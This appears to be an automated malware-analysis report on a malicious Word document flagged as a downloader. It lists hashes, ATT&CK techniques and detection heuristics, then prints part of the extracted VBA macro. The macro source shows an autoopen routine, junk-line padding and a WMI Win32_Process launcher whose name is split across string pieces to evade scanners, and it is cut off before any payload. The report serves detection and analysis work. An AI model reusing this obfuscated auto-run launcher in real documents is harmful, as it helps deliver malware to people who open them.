Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1bf132ebe8eea75b…

MALICIOUS

Office (OLE)

150.6 KB Created: 2019-05-03 12:26:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: 3c18ce6960c4e508dff1f63a455b1953 SHA-1: 9960d480e502fcd05f528c41d75e726015c45094 SHA-256: 1bf132ebe8eea75b5ae969ffe2791e58731566e6e497cebe5d8fbcbf8626f037
342 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros with an AutoOpen function, which is a common technique for executing malicious code upon opening the document. The macros utilize GetObject and CreateObject to launch the Win32_Process service, specifically using the reassembled string 'winmgmts' to create a new process, indicating a downloader or execution capability. The ClamAV detection 'Doc.Downloader.Smpowloadbb-6961027-0' further supports the downloader classification.

Heuristics 9

  • ClamAV: Doc.Downloader.Smpowloadbb-6961027-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Smpowloadbb-6961027-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8157 bytes
SHA-256: 4553e01b2627dbfe42222be7a92776e18fa733d59270e3090e42006b525c3934
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "B9440252"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "N9_9818"
Attribute VB_Base = "0{DC045711-358D-48F7-9ADF-62C99D432B51}{D0B33DFA-DF83-4947-82AD-4164307B530B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "q4601_5"

Attribute VB_Name = "X558282"

Attribute VB_Name = "i12476"

Attribute VB_Name = "F45_87"

Attribute VB_Name = "C0_813_9"

Attribute VB_Name = "N825799"

Attribute VB_Name = "F82063"
Attribute VB_Base = "0{AE3BD724-9916-4ECB-A218-AC3BA8DA7FAD}{AF709551-42A6-489B-96C7-E355A2CB64ED}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "l2964381"
Function E_30_0(w8393244)
   With T1238226
'.E81_698 = (Log(h245878) + 806153114 * k_6343)
'.S004328 = (Log(J495_2) + 665909104 * j396942)
'.U7589544 = (Log(P039366) + 471050418 * n005860)
'.H7345308 = (Log(T172268) + 493637045 * z3034_6)
End With
   With N6869_
'.B13_6803 = (Log(O032888) + 166063959 * h6048_)
'.q448_285 = (Log(s6605851) + 993400263 * O179646)
'.N7_16927 = (Log(a37846) + 812719799 * G08_94)
'.o_5023 = (Log(N765870) + 99848213 * L843387)
End With
Set E_30_0 = CVar(w8393244)
   With h38_647
'.D_80727 = (Log(l07_4_57) + 614209116 * T8_22_)
'.Q652071 = (Log(Y25755_0) + 550345396 * Q9783724)
'.m86_654 = (Log(P4062679) + 9033087 * O78746)
'.v4682596 = (Log(t_720_8) + 493753556 * M8021_3)
End With
   With i_670597
'.S3_092 = (Log(w5_6095) + 837679632 * w5_46_)
'.O3585182 = (Log(w224_8) + 497934806 * P54017)
'.G218_000 = (Log(O_0986) + 140546863 * I85499)
'.Y_541847 = (Log(f_3352) + 426437651 * J6998276)
End With
End Function
Sub autoopen()
On Error Resume Next
   With w22506
'.w8_5_98 = (Log(r1354501) + 632499478 * f4751069)
'.b7744385 = (Log(s09265) + 887244126 * O3361071)
'.D303046 = (Log(A33861) + 902065190 * Z071703)
'.E66821 = (Log(r17_0_) + 752561621 * m1796221)
End With
   With C8_13152
'.q_0_0936 = (Log(M86055_0) + 636531591 * Q3_26412)
'.X27642 = (Log(n6390_) + 939839505 * c_4438)
'.j095625 = (Log(p6_4238) + 758984966 * i641343)
'.D03661 = (Log(b93405) + 381184636 * K959775)
End With
Call B11519
   With a2656920
'.v05547 = (Log(q374800) + 625706670 * X1851553)
'.b761465 = (Log(m9394_52) + 383914119 * G_436746)
'.A28__386 = (Log(Z10603) + 228965522 * h319347)
'.i82_10 = (Log(a0488854) + 182687563 * p435__)
End With
   With t61373
'.o0419_ = (Log(t049043) + 210466061 * S73123)
'.P125291 = (Log(K_5393) + 172641077 * W96638)
'.J21882 = (Log(f95586) + 758837335 * D42_75)
'.z96090 = (Log(C7_066) + 794436145 * H6946017)
End With
   With R278_59
'.z012976 = (Log(r252198) + 938800693 * X01372)
'.D6_4962 = (Log(q0557515) + 333705186 * l221665)
'.i615_595 = (Log(v110013) + 662495454 * z933_00)
'.n4151340 = (Log(L77__15) + 693196729 * v4974_)
End With
End Sub

Attribute VB_Name = "S675_5"
Function B11519()
On Error Resume Next
   With l264616
'.i81724 = (Log(N2_3763) + 57777278 * V0011293)
'.n9611104 = (Log(a70_945) + 693025926 * B_0409)
'.h_90389 = (Log(z268_32) + 307062098 * t39817)
'.n0324038 = (Log(h4324866) + 135946684 * m8__94)
End With
   With d1_92841
'.c_97201 = (Log(C21895_5) + 161548203 * k93497_)
'.f_13843 = (Log(v3_50_) + 702817803 * T11_361)
'.k5070951 = (Log(u16245) + 245651282 * P_38817)
'.j972966 = (Log(S52_90) + 583025643 * u087_46)
End With
Set p67569_0 = E_30_0(GetObject("winmgmt" + "s:Wi" + "n32_Process" + "Startup"))
   With J400219
'.G01602 = (Log(i217271) + 875451544 * h74046)
'.Q_33_476 = (Log(A285___) + 228393074 * P9779336)
'.
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.